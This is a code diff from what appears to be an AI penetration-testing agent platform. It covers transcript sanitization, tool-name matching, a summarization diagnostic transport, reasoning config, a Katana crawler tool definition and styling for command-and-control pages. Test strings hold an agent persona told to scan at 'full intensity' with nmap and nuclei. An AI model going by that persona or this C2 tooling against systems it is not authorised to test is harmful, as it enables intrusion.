||||
|
||||
func TestSanitizeSystemContentForTranscript_BestPractice(t *testing.T) {
|
||||
t.Parallel()
|
||||
system := strings.Join([]string{
|
||||
"以下是当前会话绑定的工具名称索引(仅名称,无参数 JSON Schema)。",
|
||||
"- nmap",
|
||||
"- nuclei",
|
||||
"",
|
||||
"使用规则:",
|
||||
"1) 上表仅为名称索引",
|
||||
"5) 不要臆造不存在的工具名。",
|
||||
"",
|
||||
"你是CyberStrikeAI,是一个专业的网络安全渗透测试专家。",
|
||||
"高强度扫描要求:全力出击",
|
||||
"",
|
||||
"## 项目黑板索引(project: 123, id: abc)",
|
||||
"(暂无事实)",
|
||||
"需要写入请使用 upsert_project_fact。",
|
||||
"",
|
||||
"# Skills System",
|
||||
"**How to Use Skills**",
|
||||
"Remember: Skills make you more capable",
|
||||
}, "\n")
|
||||
|
||||
out := sanitizeSystemContentForTranscript(system)
|
||||
if strings.Contains(out, "以下是当前会话绑定的工具名称索引") {
|
||||
t.Fatalf("tool index should be stripped: %q", out)
|
||||
}
|
||||
if strings.Contains(out, "- nmap") || strings.Contains(out, "高强度扫描要求") {
|
||||
t.Fatalf("static persona should be stripped: %q", out)
|
||||
}
|
||||
if strings.Contains(out, "# Skills System") || strings.Contains(out, "How to Use Skills") {
|
||||
t.Fatalf("skills boilerplate should be stripped: %q", out)
|
||||
}
|
||||
if !strings.Contains(out, transcriptStaticSystemOmitNote) {
|
||||
t.Fatalf("missing omission note: %q", out)
|
||||
}
|
||||
if !strings.Contains(out, "## 项目黑板索引(project: 123, id: abc)") {
|
||||
t.Fatalf("project blackboard should be kept: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFormatSummarizationTranscript_OmitsBloatedSystem(t *testing.T) {
|
||||
t.Parallel()
|
||||
msgs := []adk.Message{
|
||||
schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n## 项目黑板索引(project: p1, id: x)\n(暂无事实)\n# Skills System\nboiler"),
|
||||
schema.UserMessage("hello"),
|
||||
schema.AssistantMessage("reply", nil),
|
||||
}
|
||||
out := formatSummarizationTranscript(msgs)
|
||||
if strings.Contains(out, "- nmap") {
|
||||
t.Fatalf("tool list leaked into transcript: %q", out)
|
||||
}
|
||||
if !strings.Contains(out, "hello") || !strings.Contains(out, "reply") {
|
||||
t.Fatalf("conversation turns missing: %q", out)
|
||||
}
|
||||
if !strings.Contains(out, "## 项目黑板索引(project: p1, id: x)") {
|
||||
t.Fatalf("dynamic blackboard missing: %q", out)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,145 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/cloudwego/eino/adk"
|
||||
"github.com/cloudwego/eino/schema"
|
||||
|
||||
"github.com/bytedance/sonic"
|
||||
)
|
||||
|
||||
const (
|
||||
transcriptFileHeader = `# CyberStrikeAI summarization transcript
|
||||
# Pre-compaction session record for read_file after context compression.
|
||||
# Omits static system/tool-index/skills boilerplate; full user/assistant/tool turns below.
|
||||
|
||||
`
|
||||
transcriptStaticSystemOmitNote = "[static system prompt omitted — unchanged in live context after compaction]"
|
||||
transcriptToolIndexStartMarker = "以下是当前会话绑定的工具名称索引"
|
||||
transcriptPersonaStartMarker = "你是CyberStrikeAI"
|
||||
transcriptSkillsSystemMarker = "# Skills System"
|
||||
transcriptProjectBlackboardMarker = "## 项目黑板索引"
|
||||
)
|
||||
|
||||
// formatSummarizationTranscript renders pre-compaction messages for transcript.txt.
|
||||
// Best practice: keep full user/assistant/tool turns; slim system to dynamic blocks only.
|
||||
func formatSummarizationTranscript(msgs []adk.Message) string {
|
||||
var sb strings.Builder
|
||||
sb.WriteString(transcriptFileHeader)
|
||||
wrote := false
|
||||
for _, msg := range msgs {
|
||||
if msg == nil {
|
||||
continue
|
||||
}
|
||||
switch msg.Role {
|
||||
case schema.System:
|
||||
body := sanitizeSystemContentForTranscript(msg.Content)
|
||||
if strings.TrimSpace(body) == "" {
|
||||
continue
|
||||
}
|
||||
if wrote {
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
appendTranscriptSection(&sb, schema.System, body)
|
||||
wrote = true
|
||||
default:
|
||||
if wrote {
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
appendTranscriptMessage(&sb, msg)
|
||||
wrote = true
|
||||
}
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func sanitizeSystemContentForTranscript(content string) string {
|
||||
content = stripToolNamesIndexFromSystem(content)
|
||||
content = stripSkillsSystemBoilerplate(content)
|
||||
blackboard := extractProjectBlackboardSection(content)
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString(transcriptStaticSystemOmitNote)
|
||||
if bb := strings.TrimSpace(blackboard); bb != "" {
|
||||
sb.WriteString("\n\n")
|
||||
sb.WriteString(bb)
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func stripToolNamesIndexFromSystem(s string) string {
|
||||
if !strings.Contains(s, transcriptToolIndexStartMarker) {
|
||||
return s
|
||||
}
|
||||
idx := strings.Index(s, transcriptPersonaStartMarker)
|
||||
if idx < 0 {
|
||||
return s
|
||||
}
|
||||
return strings.TrimSpace(s[idx:])
|
||||
}
|
||||
|
||||
func stripSkillsSystemBoilerplate(s string) string {
|
||||
idx := strings.Index(s, transcriptSkillsSystemMarker)
|
||||
if idx < 0 {
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
return strings.TrimSpace(s[:idx])
|
||||
}
|
||||
|
||||
func extractProjectBlackboardSection(s string) string {
|
||||
idx := strings.Index(s, transcriptProjectBlackboardMarker)
|
||||
if idx < 0 {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(s[idx:])
|
||||
}
|
||||
|
||||
func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) {
|
||||
sb.WriteString("--- [")
|
||||
sb.WriteString(string(role))
|
||||
sb.WriteString("] ---\n")
|
||||
sb.WriteString(body)
|
||||
if !strings.HasSuffix(body, "\n") {
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
|
||||
func appendTranscriptMessage(sb *strings.Builder, msg adk.Message) {
|
||||
sb.WriteString("--- [")
|
||||
sb.WriteString(string(msg.Role))
|
||||
sb.WriteString("] ---\n")
|
||||
if msg.Content != "" {
|
||||
sb.WriteString(msg.Content)
|
||||
if !strings.HasSuffix(msg.Content, "\n") {
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
if msg.ReasoningContent != "" {
|
||||
sb.WriteString("[reasoning]\n")
|
||||
sb.WriteString(msg.ReasoningContent)
|
||||
if !strings.HasSuffix(msg.ReasoningContent, "\n") {
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
for _, part := range msg.UserInputMultiContent {
|
||||
if part.Type == schema.ChatMessagePartTypeText && strings.TrimSpace(part.Text) != "" {
|
||||
sb.WriteString(part.Text)
|
||||
if !strings.HasSuffix(part.Text, "\n") {
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
}
|
||||
if len(msg.ToolCalls) > 0 {
|
||||
if b, err := sonic.Marshal(msg.ToolCalls); err == nil {
|
||||
sb.WriteString("tool_calls: ")
|
||||
sb.Write(b)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
if msg.ToolCallID != "" {
|
||||
sb.WriteString("tool_call_id: ")
|
||||
sb.WriteString(msg.ToolCallID)
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
|
||||
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
|
||||
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
|
||||
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
|
||||
|
||||
// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文,应由 handler 落库轨迹后
|
||||
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue / ErrTransientRetryContinue 同级)。
|
||||
var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
localbk "github.com/cloudwego/eino-ext/adk/backend/local"
|
||||
"github.com/cloudwego/eino/adk/middlewares/plantask"
|
||||
)
|
||||
|
||||
// localPlantaskBackend adapts eino-ext local filesystem backend for Eino plantask.
|
||||
//
|
||||
// plantask TaskCreate/TaskList list a directory via LsInfo, then Read using each entry's Path.
|
||||
// local.LsInfo returns basenames only (e.g. ".highwatermark"), while local.Read expects a
|
||||
// resolvable path — causing "file not found: .highwatermark" on the second TaskCreate.
|
||||
type localPlantaskBackend struct {
|
||||
*localbk.Local
|
||||
}
|
||||
|
||||
func newLocalPlantaskBackend(loc *localbk.Local) *localPlantaskBackend {
|
||||
if loc == nil {
|
||||
return nil
|
||||
}
|
||||
return &localPlantaskBackend{Local: loc}
|
||||
}
|
||||
|
||||
// LsInfo lists files under req.Path and returns absolute paths suitable for subsequent Read calls.
|
||||
func (l *localPlantaskBackend) LsInfo(ctx context.Context, req *plantask.LsInfoRequest) ([]plantask.FileInfo, error) {
|
||||
if l == nil || l.Local == nil {
|
||||
return nil, fmt.Errorf("plantask backend: local nil")
|
||||
}
|
||||
if req == nil || strings.TrimSpace(req.Path) == "" {
|
||||
return nil, fmt.Errorf("plantask backend: list path empty")
|
||||
}
|
||||
files, err := l.Local.LsInfo(ctx, req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(files) == 0 {
|
||||
return files, nil
|
||||
}
|
||||
base := filepath.Clean(req.Path)
|
||||
out := make([]plantask.FileInfo, len(files))
|
||||
for i, f := range files {
|
||||
out[i] = f
|
||||
name := strings.TrimSpace(f.Path)
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
if filepath.IsAbs(name) {
|
||||
out[i].Path = filepath.Clean(name)
|
||||
continue
|
||||
}
|
||||
out[i].Path = filepath.Join(base, name)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
|
||||
if l == nil || l.Local == nil || req == nil {
|
||||
return nil
|
||||
}
|
||||
p := strings.TrimSpace(req.FilePath)
|
||||
if p == "" {
|
||||
return nil
|
||||
}
|
||||
return os.Remove(p)
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
localbk "github.com/cloudwego/eino-ext/adk/backend/local"
|
||||
"github.com/cloudwego/eino/adk/filesystem"
|
||||
"github.com/cloudwego/eino/adk/middlewares/plantask"
|
||||
)
|
||||
|
||||
func TestLocalPlantaskBackendLsInfoReturnsFullPaths(t *testing.T) {
|
||||
t.Parallel()
|
||||
ctx := context.Background()
|
||||
baseDir := t.TempDir()
|
||||
|
||||
loc, err := localbk.NewBackend(ctx, &localbk.Config{})
|
||||
if err != nil {
|
||||
t.Fatalf("NewBackend: %v", err)
|
||||
}
|
||||
be := newLocalPlantaskBackend(loc)
|
||||
|
||||
hwPath := filepath.Join(baseDir, ".highwatermark")
|
||||
if err := os.WriteFile(hwPath, []byte("1"), 0o600); err != nil {
|
||||
t.Fatalf("write highwatermark: %v", err)
|
||||
}
|
||||
|
||||
files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
|
||||
if err != nil {
|
||||
t.Fatalf("LsInfo: %v", err)
|
||||
}
|
||||
if len(files) != 1 {
|
||||
t.Fatalf("expected 1 file, got %d", len(files))
|
||||
}
|
||||
if files[0].Path != hwPath {
|
||||
t.Fatalf("expected full path %q, got %q", hwPath, files[0].Path)
|
||||
}
|
||||
|
||||
content, err := be.Read(ctx, &plantask.ReadRequest{FilePath: files[0].Path})
|
||||
if err != nil {
|
||||
t.Fatalf("Read via LsInfo path: %v", err)
|
||||
}
|
||||
if content.Content != "1" {
|
||||
t.Fatalf("unexpected content: %q", content.Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLocalPlantaskBackendSecondTaskCreateScenario(t *testing.T) {
|
||||
t.Parallel()
|
||||
ctx := context.Background()
|
||||
baseDir := t.TempDir()
|
||||
|
||||
loc, err := localbk.NewBackend(ctx, &localbk.Config{})
|
||||
if err != nil {
|
||||
t.Fatalf("NewBackend: %v", err)
|
||||
}
|
||||
be := newLocalPlantaskBackend(loc)
|
||||
|
||||
hwPath := filepath.Join(baseDir, ".highwatermark")
|
||||
if err := loc.Write(ctx, &filesystem.WriteRequest{FilePath: hwPath, Content: "1"}); err != nil {
|
||||
t.Fatalf("seed highwatermark: %v", err)
|
||||
}
|
||||
|
||||
files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
|
||||
if err != nil {
|
||||
t.Fatalf("LsInfo: %v", err)
|
||||
}
|
||||
var hwFile string
|
||||
for _, f := range files {
|
||||
if filepath.Base(f.Path) == ".highwatermark" {
|
||||
hwFile = f.Path
|
||||
break
|
||||
}
|
||||
}
|
||||
if hwFile == "" {
|
||||
t.Fatal("highwatermark not listed")
|
||||
}
|
||||
if _, err := be.Read(ctx, &plantask.ReadRequest{FilePath: hwFile}); err != nil {
|
||||
t.Fatalf("Read highwatermark (second TaskCreate path): %v", err)
|
||||
}
|
||||
}
|
||||
@@ -161,6 +161,7 @@ func RunDeepAgent(
|
||||
|
||||
// 若配置为 Claude provider,注入自动桥接 transport,对 Eino 透明走 Anthropic Messages API
|
||||
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
|
||||
openai.AttachSummarizationDiagTransport(httpClient, logger)
|
||||
|
||||
baseModelCfg := &einoopenai.ChatModelConfig{
|
||||
APIKey: appCfg.OpenAI.APIKey,
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
package multiagent
|
||||
|
||||
import (
|
||||
"strings"
|
||||
)
|
||||
|
||||
// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
|
||||
// 支持:内置短名 read_file;外部 mcp::tool;运行时 mcp__tool(OpenAI/Eino 命名)。
|
||||
func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
|
||||
set := make(map[string]struct{}, len(names)*3)
|
||||
add := func(name string) {
|
||||
n := strings.TrimSpace(strings.ToLower(name))
|
||||
if n == "" {
|
||||
return
|
||||
}
|
||||
set[n] = struct{}{}
|
||||
}
|
||||
for _, raw := range names {
|
||||
n := strings.TrimSpace(strings.ToLower(raw))
|
||||
if n == "" {
|
||||
continue
|
||||
}
|
||||
add(n)
|
||||
if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
|
||||
// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool,避免短名误伤其它 MCP 同名工具。
|
||||
add(mcp + "__" + tool)
|
||||
continue
|
||||
}
|
||||
if idx := strings.LastIndex(n, "__"); idx > 0 {
|
||||
mcp, tool := n[:idx], n[idx+2:]
|
||||
if mcp != "" && tool != "" {
|
||||
add(mcp + "::" + tool)
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
return set
|
||||
}
|
||||
|
||||
// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单(含别名)。
|
||||
func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
|
||||
if len(nameSet) == 0 {
|
||||
return false
|
||||
}
|
||||
name := strings.TrimSpace(strings.ToLower(runtimeName))
|
||||
if name == "" {
|
||||
return false
|
||||
}
|
||||
if _, ok := nameSet[name]; ok {
|
||||
return true
|
||||
}
|
||||
if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
|
||||
if _, ok := nameSet[mcp+"__"+tool]; ok {
|
||||
return true
|
||||
}
|
||||
if _, ok := nameSet[tool]; ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if idx := strings.LastIndex(name, "__"); idx > 0 {
|
||||
mcp, tool := name[:idx], name[idx+2:]
|
||||
if mcp != "" && tool != "" {
|
||||
if _, ok := nameSet[mcp+"::"+tool]; ok {
|
||||
return true
|
||||
}
|
||||
if _, ok := nameSet[tool]; ok {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
package multiagent
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
|
||||
t.Parallel()
|
||||
set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
|
||||
|
||||
cases := []struct {
|
||||
runtime string
|
||||
want bool
|
||||
}{
|
||||
{"zhidemai__discount_search", true},
|
||||
{"zhidemai::discount_search", true},
|
||||
{"read_file", true},
|
||||
{"zhidemai__product_search_pro", false},
|
||||
{"github__discount_search", false},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
|
||||
t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
|
||||
t.Parallel()
|
||||
set := expandAlwaysVisibleNameSet([]string{"discount_search"})
|
||||
if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
|
||||
t.Fatal("legacy short name should match external runtime tool")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
package openai
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/bytedance/sonic"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// SummarizationRequestHeader marks chat/completion requests issued by Eino summarization
|
||||
// middleware (via model.WithExtraHeader). The diagnostic transport logs empty-choices bodies
|
||||
// only for these requests so main-agent traffic stays quiet.
|
||||
const SummarizationRequestHeader = "X-CyberStrike-Summarization"
|
||||
|
||||
const summarizationDiagBodyMaxBytes = 8192
|
||||
|
||||
// AttachSummarizationDiagTransport wraps client.Transport to log raw API bodies when
|
||||
// summarization receives HTTP 200 with an empty choices array.
|
||||
func AttachSummarizationDiagTransport(client *http.Client, logger *zap.Logger) {
|
||||
if client == nil || logger == nil {
|
||||
return
|
||||
}
|
||||
base := client.Transport
|
||||
if base == nil {
|
||||
base = http.DefaultTransport
|
||||
}
|
||||
client.Transport = &summarizationDiagRoundTripper{base: base, logger: logger}
|
||||
}
|
||||
|
||||
type summarizationDiagRoundTripper struct {
|
||||
base http.RoundTripper
|
||||
logger *zap.Logger
|
||||
}
|
||||
|
||||
func (rt *summarizationDiagRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
resp, err := rt.base.RoundTrip(req)
|
||||
if err != nil || resp == nil || resp.Body == nil {
|
||||
return resp, err
|
||||
}
|
||||
if !isSummarizationRequest(req) || !strings.Contains(strings.ToLower(resp.Header.Get("Content-Type")), "json") {
|
||||
return resp, err
|
||||
}
|
||||
|
||||
body, readErr := io.ReadAll(resp.Body)
|
||||
_ = resp.Body.Close()
|
||||
if readErr != nil {
|
||||
resp.Body = io.NopCloser(bytes.NewReader(nil))
|
||||
return resp, err
|
||||
}
|
||||
resp.Body = io.NopCloser(bytes.NewReader(body))
|
||||
resp.ContentLength = int64(len(body))
|
||||
|
||||
if rt.logger != nil && summarizationResponseEmptyChoices(body) {
|
||||
rt.logger.Warn("eino summarization: API returned empty choices",
|
||||
zap.Int("status", resp.StatusCode),
|
||||
zap.Int("response_bytes", len(body)),
|
||||
zap.String("raw_body", truncateForLog(string(body), summarizationDiagBodyMaxBytes)),
|
||||
)
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func isSummarizationRequest(req *http.Request) bool {
|
||||
if req == nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(req.Header.Get(SummarizationRequestHeader)) == "1"
|
||||
}
|
||||
|
||||
func summarizationResponseEmptyChoices(body []byte) bool {
|
||||
var parsed struct {
|
||||
Choices []any `json:"choices"`
|
||||
}
|
||||
if err := sonic.Unmarshal(body, &parsed); err != nil {
|
||||
return false
|
||||
}
|
||||
return len(parsed.Choices) == 0
|
||||
}
|
||||
|
||||
func truncateForLog(s string, maxBytes int) string {
|
||||
if maxBytes <= 0 || len(s) <= maxBytes {
|
||||
return s
|
||||
}
|
||||
return s[:maxBytes] + "…(truncated)"
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package openai
|
||||
|
||||
import (
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
type staticRoundTripper struct {
|
||||
status int
|
||||
body string
|
||||
}
|
||||
|
||||
func (s *staticRoundTripper) RoundTrip(req *http.Request) (*http.Response, error) {
|
||||
return &http.Response{
|
||||
StatusCode: s.status,
|
||||
Header: http.Header{"Content-Type": []string{"application/json"}},
|
||||
Body: io.NopCloser(strings.NewReader(s.body)),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func TestSummarizationResponseEmptyChoices(t *testing.T) {
|
||||
if !summarizationResponseEmptyChoices([]byte(`{"choices":[]}`)) {
|
||||
t.Fatal("expected empty choices")
|
||||
}
|
||||
if summarizationResponseEmptyChoices([]byte(`{"choices":[{"index":0}]}`)) {
|
||||
t.Fatal("expected non-empty choices")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSummarizationDiagRoundTripper_SkipsWithoutHeader(t *testing.T) {
|
||||
client := &http.Client{
|
||||
Transport: &summarizationDiagRoundTripper{
|
||||
base: &staticRoundTripper{status: 200, body: `{"choices":[]}`},
|
||||
logger: zap.NewNop(),
|
||||
},
|
||||
}
|
||||
req, _ := http.NewRequest(http.MethodPost, "https://example.com/v1/chat/completions", nil)
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_ = resp.Body.Close()
|
||||
}
|
||||
@@ -56,6 +56,7 @@ func ApplyToEinoChatModelConfig(cfg *einoopenai.ChatModelConfig, oa *config.Open
|
||||
}
|
||||
|
||||
if mode == "off" {
|
||||
applyThinkingDisabled(cfg)
|
||||
return
|
||||
}
|
||||
effort := effectiveEffort(sr, client, allowClient)
|
||||
@@ -185,11 +186,21 @@ func resolveWireProfile(oa *config.OpenAIConfig, sr *config.OpenAIReasoningConfi
|
||||
}
|
||||
}
|
||||
|
||||
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
|
||||
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
|
||||
if mode == "off" {
|
||||
func applyThinkingDisabled(cfg *einoopenai.ChatModelConfig) {
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
if cfg.ExtraFields == nil {
|
||||
cfg.ExtraFields = make(map[string]any)
|
||||
}
|
||||
if _, exists := cfg.ExtraFields["thinking"]; exists {
|
||||
return
|
||||
}
|
||||
cfg.ExtraFields["thinking"] = map[string]any{"type": "disabled"}
|
||||
}
|
||||
|
||||
func applyDeepseek(cfg *einoopenai.ChatModelConfig, mode, effort string) {
|
||||
// auto: enable thinking for DeepSeek line; on: same; auto without effort still opens thinking.
|
||||
if mode == "auto" || mode == "on" {
|
||||
if cfg.ExtraFields == nil {
|
||||
cfg.ExtraFields = make(map[string]any)
|
||||
|
||||
@@ -49,6 +49,22 @@ func TestApplyOpenAICompat_xhighExtraField(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyReasoningOff_disablesThinking(t *testing.T) {
|
||||
cfg := &einoopenai.ChatModelConfig{}
|
||||
oa := &config.OpenAIConfig{
|
||||
BaseURL: "https://api.openai.com/v1",
|
||||
Model: "gpt-4o",
|
||||
Reasoning: config.OpenAIReasoningConfig{
|
||||
Mode: "off",
|
||||
},
|
||||
}
|
||||
ApplyToEinoChatModelConfig(cfg, oa, nil)
|
||||
th, ok := cfg.ExtraFields["thinking"].(map[string]any)
|
||||
if !ok || th["type"] != "disabled" {
|
||||
t.Fatalf("expected thinking disabled, got %#v", cfg.ExtraFields)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyOpenAICompat_maxPassthrough(t *testing.T) {
|
||||
cfg := &einoopenai.ChatModelConfig{}
|
||||
oa := &config.OpenAIConfig{
|
||||
|
||||
+6
-6
@@ -39,9 +39,9 @@ parameters:
|
||||
default: true
|
||||
- name: "form_extraction"
|
||||
type: "bool"
|
||||
description: "启用表单提取"
|
||||
description: "启用表单提取(-fx / -form-extraction)"
|
||||
required: false
|
||||
flag: "-forms"
|
||||
flag: "-fx"
|
||||
format: "flag"
|
||||
default: true
|
||||
- name: "additional_args"
|
||||
@@ -50,10 +50,10 @@ parameters:
|
||||
额外的Katana参数。用于传递未在参数列表中定义的Katana选项。
|
||||
|
||||
**示例值:**
|
||||
- "--headless": 使用无头浏览器
|
||||
- "-f": 输出格式
|
||||
- "-o output.txt": 输出到文件
|
||||
- "-c": 并发数
|
||||
- "-headless": 使用无头浏览器
|
||||
- "-output-template '{{url}}'": 自定义输出格式
|
||||
- "-output output.txt": 输出到文件
|
||||
- "-c 20": 并发数
|
||||
|
||||
**注意事项:**
|
||||
- 多个参数用空格分隔
|
||||
|
||||
+223
-135
@@ -37,7 +37,6 @@
|
||||
Form Controls (scoped to C2 pages)
|
||||
============================================================================ */
|
||||
|
||||
#page-c2 .form-control,
|
||||
#page-c2-listeners .form-control,
|
||||
#page-c2-sessions .form-control,
|
||||
#page-c2-tasks .form-control,
|
||||
@@ -61,7 +60,6 @@
|
||||
appearance: none;
|
||||
}
|
||||
|
||||
#page-c2 .form-control:focus,
|
||||
#page-c2-listeners .form-control:focus,
|
||||
#page-c2-sessions .form-control:focus,
|
||||
#page-c2-tasks .form-control:focus,
|
||||
@@ -73,7 +71,6 @@
|
||||
box-shadow: 0 0 0 3px var(--c2-accent-dim);
|
||||
}
|
||||
|
||||
#page-c2 select.form-control,
|
||||
#page-c2-payloads select.form-control,
|
||||
.c2-modal select.form-control {
|
||||
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 12 12'%3E%3Cpath fill='%2364748b' d='M2.5 4.5L6 8l3.5-3.5'/%3E%3C/svg%3E");
|
||||
@@ -85,7 +82,6 @@
|
||||
}
|
||||
|
||||
/* 原生下拉:避免 appearance:none 在部分浏览器中导致 select 无法正常展开 */
|
||||
#page-c2 select.form-control.c2-native-select,
|
||||
#page-c2-payloads select.form-control.c2-native-select,
|
||||
.c2-modal select.form-control.c2-native-select {
|
||||
appearance: auto;
|
||||
@@ -94,7 +90,6 @@
|
||||
padding-right: 14px;
|
||||
}
|
||||
|
||||
#page-c2 textarea.form-control,
|
||||
#page-c2-payloads textarea.form-control,
|
||||
.c2-modal textarea.form-control {
|
||||
resize: vertical;
|
||||
@@ -104,7 +99,6 @@
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
#page-c2 .form-control::placeholder,
|
||||
#page-c2-payloads .form-control::placeholder,
|
||||
.c2-modal .form-control::placeholder {
|
||||
color: var(--c2-text-muted);
|
||||
@@ -140,9 +134,6 @@
|
||||
Layout
|
||||
============================================================================ */
|
||||
|
||||
.c2-layout { display: flex; flex-direction: column; height: 100%; }
|
||||
.c2-main { flex: 1; overflow-y: auto; }
|
||||
|
||||
.c2-empty {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
@@ -171,103 +162,6 @@
|
||||
margin: 12px;
|
||||
}
|
||||
|
||||
/* ============================================================================
|
||||
Dashboard / Welcome
|
||||
============================================================================ */
|
||||
|
||||
.c2-welcome {
|
||||
text-align: center;
|
||||
padding: 100px 24px 80px;
|
||||
max-width: 860px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
.c2-welcome-icon {
|
||||
margin-bottom: 16px;
|
||||
animation: c2-float 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes c2-float {
|
||||
0%, 100% { transform: translateY(0); }
|
||||
50% { transform: translateY(-8px); }
|
||||
}
|
||||
|
||||
.c2-welcome h3 {
|
||||
font-size: 28px;
|
||||
margin-bottom: 12px;
|
||||
color: var(--c2-text);
|
||||
font-weight: 800;
|
||||
letter-spacing: -0.5px;
|
||||
}
|
||||
|
||||
.c2-welcome p {
|
||||
color: var(--c2-text-dim);
|
||||
font-size: 15px;
|
||||
line-height: 1.7;
|
||||
margin-bottom: 48px;
|
||||
max-width: 520px;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
}
|
||||
|
||||
.c2-stats {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
gap: 16px;
|
||||
margin-bottom: 48px;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.c2-stat-item {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
padding: 28px 40px;
|
||||
background: var(--c2-surface);
|
||||
border-radius: var(--c2-radius);
|
||||
border: 1.5px solid var(--c2-border);
|
||||
min-width: 160px;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.c2-stat-item:hover {
|
||||
transform: translateY(-4px);
|
||||
box-shadow: var(--c2-shadow-md);
|
||||
border-color: var(--c2-accent);
|
||||
}
|
||||
|
||||
